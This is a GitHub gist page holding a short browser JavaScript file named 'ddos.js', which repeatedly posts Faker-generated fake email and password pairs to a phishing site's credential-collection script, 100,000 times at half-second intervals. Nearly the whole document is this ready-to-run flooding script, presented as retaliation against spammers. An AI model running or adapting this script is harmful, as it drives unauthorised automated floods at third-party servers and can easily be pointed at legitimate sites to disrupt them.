Last active
February 12, 2021 19:37
-
-
Save DimitarChristoff/10f35f6e332aeb8901f19802d54de94f to your computer and use it in GitHub Desktop.
ddos.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Sends fake emails to spammers | |
* @param spams number - how many emails to send | |
* @param delay= number - number of seconds to wait between each send | |
* @param url= string - url of their email script | |
*/ | |
(async (spams, delay = 1000, url = `https://fmi.icloud.com.isps.mobi/mobile/mail2.php`) => { | |
await import('https://cdnjs.cloudflare.com/ajax/libs/Faker/3.1.0/faker.min.js'); | |
const { internet } = faker; | |
const sendFakeDetails = async () => { | |
// they use name field as => email name and email => pass in post data | |
const name = internet.email(); | |
const pass = internet.password(); | |
const data = `name=${encodeURIComponent(name)}&email=${encodeURIComponent(pass)}`; | |
try { | |
await fetch(url, { | |
method: 'post', | |
mode: 'no-cors', | |
cache: 'no-cache', | |
headers: { | |
'Content-type': 'x-www-form-urlencoded' | |
}, | |
body: data | |
}); | |
} | |
catch (o_O) { | |
console.log(o_O); | |
} | |
} | |
const tick = async () => { | |
await sendFakeDetails(); | |
spams--; | |
spams && setTimeout(tick, delay); | |
} | |
tick(); | |
})(100000, 500, 'mail2.php'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment